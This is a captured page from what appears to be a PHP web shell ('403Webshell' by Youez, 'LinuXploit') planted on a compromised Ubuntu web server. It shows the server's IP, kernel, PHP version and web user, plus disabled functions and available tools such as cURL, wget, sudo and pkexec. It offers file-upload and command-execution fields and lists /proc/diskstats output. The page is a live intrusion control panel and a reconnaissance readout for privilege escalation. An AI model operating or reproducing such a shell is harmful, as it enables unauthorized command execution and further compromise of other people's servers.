403Webshell
Server IP : 13.213.54.232  /  Your IP : 216.73.216.30
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-172-31-17-110 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.1.33-67+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//diskstats
   7       0 loop0 3681 0 260727 686 0 0 0 0 0 670 686 0 0 0 0 0 0
   7       1 loop1 1017 0 56205 66 0 0 0 0 0 68 66 0 0 0 0 0 0
   7       2 loop2 200 0 840 52 0 0 0 0 0 51 52 0 0 0 0 0 0
   7       3 loop3 286 0 4352 238 0 0 0 0 0 233 238 0 0 0 0 0 0
   7       4 loop4 2097 0 176516 685 0 0 0 0 0 662 685 0 0 0 0 0 0
   7       5 loop5 85 0 358 67 0 0 0 0 0 71 67 0 0 0 0 0 0
   7       6 loop6 44 0 178 19 0 0 0 0 0 19 19 0 0 0 0 0 0
   7       7 loop7 1135 0 92272 463 0 0 0 0 0 461 463 0 0 0 0 0 0
 202       0 xvda 423705 94159 57674938 410149 893106 383913 44974058 1150209 0 499185 1560358 0 0 0 0 0 0
 202       1 xvda1 421995 92543 57592354 408741 893104 383913 44974056 1150207 0 550618 1558948 0 0 0 0 0 0
 202      14 xvda14 55 0 646 40 0 0 0 0 0 40 40 0 0 0 0 0 0
 202      15 xvda15 227 1616 14205 184 2 0 2 2 0 119 186 0 0 0 0 0 0
   7       8 loop8 1722 0 136976 1226 0 0 0 0 0 1135 1226 0 0 0 0 0 0
   7       9 loop9 200 0 818 60 0 0 0 0 0 70 60 0 0 0 0 0 0
   7      10 loop10 211 0 892 26 0 0 0 0 0 24 26 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit